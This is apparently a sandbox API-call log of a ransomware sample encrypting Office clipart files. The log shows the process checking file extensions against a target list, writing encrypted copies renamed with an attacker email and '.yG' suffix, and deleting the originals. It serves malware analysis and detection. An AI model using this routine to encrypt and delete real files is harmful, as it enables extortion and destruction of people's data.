	[0151.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.348] lstrlenW (lpString=".jpg") returned 4
	[0151.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.349] lstrlenW (lpString=".doc") returned 4
	[0151.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.349] lstrlenW (lpString=".docx") returned 5
	[0151.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.349] lstrlenW (lpString=".pdf") returned 4
	[0151.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.349] lstrlenW (lpString=".xls") returned 4
	[0151.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.349] lstrlenW (lpString=".xlsx") returned 5
	[0151.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.349] lstrlenW (lpString=".ppt") returned 4
	[0151.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.349] lstrlenW (lpString=".zip") returned 4
	[0151.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.349] lstrlenW (lpString=".rar") returned 4
	[0151.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.349] lstrlenW (lpString=".bz2") returned 4
	[0151.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.349] lstrlenW (lpString=".7z") returned 3
	[0151.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.349] lstrlenW (lpString=".dbf") returned 4
	[0151.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.349] lstrlenW (lpString=".1cd") returned 4
	[0151.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0151.349] lstrlenW (lpString=".jpg") returned 4
	[0151.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.350] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.350] lstrlenW (lpString="HH02155_.WMF") returned 12
	[0151.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.351] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=2704) returned 1
	[0151.351] CloseHandle (hObject=0x54c) returned 1
	[0151.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220
	[0151.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.352] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.352] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0151.352] GetLastError () returned 0x0
	[0151.352] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xa90, lpOverlapped=0x0) returned 1
	[0151.354] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xaa0, lpOverlapped=0x0) returned 1
	[0151.355] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.355] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.355] SetEndOfFile (hFile=0x548) returned 1
	[0151.356] CloseHandle (hObject=0x548) returned 1
	[0151.356] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.356] SetEndOfFile (hFile=0x54c) returned 1
	[0151.358] CloseHandle (hObject=0x54c) returned 1
	[0151.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1
	[0151.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.360] lstrlenW (lpString=".doc") returned 4
	[0151.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.360] lstrlenW (lpString=".docx") returned 5
	[0151.360] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.360] lstrlenW (lpString=".pdf") returned 4
	[0151.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.360] lstrlenW (lpString=".xls") returned 4
	[0151.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.360] lstrlenW (lpString=".xlsx") returned 5
	[0151.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.360] lstrlenW (lpString=".ppt") returned 4
	[0151.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.360] lstrlenW (lpString=".zip") returned 4
	[0151.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.360] lstrlenW (lpString=".rar") returned 4
	[0151.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.360] lstrlenW (lpString=".bz2") returned 4
	[0151.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.360] lstrlenW (lpString=".7z") returned 3
	[0151.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.360] lstrlenW (lpString=".dbf") returned 4
	[0151.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.361] lstrlenW (lpString=".1cd") returned 4
	[0151.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.361] lstrlenW (lpString=".jpg") returned 4
	[0151.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.361] lstrlenW (lpString=".doc") returned 4
	[0151.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.361] lstrlenW (lpString=".docx") returned 5
	[0151.361] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.361] lstrlenW (lpString=".pdf") returned 4
	[0151.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.361] lstrlenW (lpString=".xls") returned 4
	[0151.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.361] lstrlenW (lpString=".xlsx") returned 5
	[0151.361] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.361] lstrlenW (lpString=".ppt") returned 4
	[0151.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.361] lstrlenW (lpString=".zip") returned 4
	[0151.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.361] lstrlenW (lpString=".rar") returned 4
	[0151.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.361] lstrlenW (lpString=".bz2") returned 4
	[0151.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.361] lstrlenW (lpString=".7z") returned 3
	[0151.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.362] lstrlenW (lpString=".dbf") returned 4
	[0151.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.362] lstrlenW (lpString=".1cd") returned 4
	[0151.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0151.362] lstrlenW (lpString=".jpg") returned 4
	[0151.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.362] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.362] lstrlenW (lpString="HH02166_.WMF") returned 12
	[0151.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.363] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=1324) returned 1
	[0151.363] CloseHandle (hObject=0x54c) returned 1
	[0151.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220
	[0151.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.364] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.364] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0151.365] GetLastError () returned 0x0
	[0151.365] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x52c, lpOverlapped=0x0) returned 1
	[0151.599] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x530, lpOverlapped=0x0) returned 1
	[0151.602] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.602] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.602] SetEndOfFile (hFile=0x548) returned 1
	[0151.602] CloseHandle (hObject=0x548) returned 1
	[0151.602] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.602] SetEndOfFile (hFile=0x54c) returned 1
	[0151.606] CloseHandle (hObject=0x54c) returned 1
	[0151.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1
	[0151.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.607] lstrlenW (lpString=".doc") returned 4
	[0151.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.607] lstrlenW (lpString=".docx") returned 5
	[0151.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.608] lstrlenW (lpString=".pdf") returned 4
	[0151.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.608] lstrlenW (lpString=".xls") returned 4
	[0151.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.608] lstrlenW (lpString=".xlsx") returned 5
	[0151.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.608] lstrlenW (lpString=".ppt") returned 4
	[0151.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.608] lstrlenW (lpString=".zip") returned 4
	[0151.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.608] lstrlenW (lpString=".rar") returned 4
	[0151.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.608] lstrlenW (lpString=".bz2") returned 4
	[0151.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.608] lstrlenW (lpString=".7z") returned 3
	[0151.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.608] lstrlenW (lpString=".dbf") returned 4
	[0151.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.608] lstrlenW (lpString=".1cd") returned 4
	[0151.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.608] lstrlenW (lpString=".jpg") returned 4
	[0151.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.609] lstrlenW (lpString=".doc") returned 4
	[0151.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.609] lstrlenW (lpString=".docx") returned 5
	[0151.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.609] lstrlenW (lpString=".pdf") returned 4
	[0151.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.609] lstrlenW (lpString=".xls") returned 4
	[0151.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.609] lstrlenW (lpString=".xlsx") returned 5
	[0151.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.609] lstrlenW (lpString=".ppt") returned 4
	[0151.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.609] lstrlenW (lpString=".zip") returned 4
	[0151.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.609] lstrlenW (lpString=".rar") returned 4
	[0151.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.609] lstrlenW (lpString=".bz2") returned 4
	[0151.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.609] lstrlenW (lpString=".7z") returned 3
	[0151.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.609] lstrlenW (lpString=".dbf") returned 4
	[0151.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.610] lstrlenW (lpString=".1cd") returned 4
	[0151.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0151.610] lstrlenW (lpString=".jpg") returned 4
	[0151.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.610] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.610] lstrlenW (lpString="HM00116_.WMF") returned 12
	[0151.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.611] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=15852) returned 1
	[0151.611] CloseHandle (hObject=0x54c) returned 1
	[0151.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220
	[0151.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.612] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.612] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0151.612] GetLastError () returned 0x0
	[0151.613] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3dec, lpOverlapped=0x0) returned 1
	[0151.635] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3df0, lpOverlapped=0x0) returned 1
	[0151.636] ReadFile (in: hFile=0x54c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.636] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.636] SetEndOfFile (hFile=0x548) returned 1
	[0151.636] CloseHandle (hObject=0x548) returned 1
	[0151.636] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.636] SetEndOfFile (hFile=0x54c) returned 1
	[0151.640] CloseHandle (hObject=0x54c) returned 1
	[0151.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0152.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1
	[0152.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.201] lstrlenW (lpString=".doc") returned 4
	[0152.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.201] lstrlenW (lpString=".docx") returned 5
	[0152.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.201] lstrlenW (lpString=".pdf") returned 4
	[0152.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.201] lstrlenW (lpString=".xls") returned 4
	[0152.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.201] lstrlenW (lpString=".xlsx") returned 5
	[0152.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.201] lstrlenW (lpString=".ppt") returned 4
	[0152.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.201] lstrlenW (lpString=".zip") returned 4
	[0152.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.201] lstrlenW (lpString=".rar") returned 4
	[0152.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.201] lstrlenW (lpString=".bz2") returned 4
	[0152.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.202] lstrlenW (lpString=".7z") returned 3
	[0152.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.202] lstrlenW (lpString=".dbf") returned 4
	[0152.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.202] lstrlenW (lpString=".1cd") returned 4
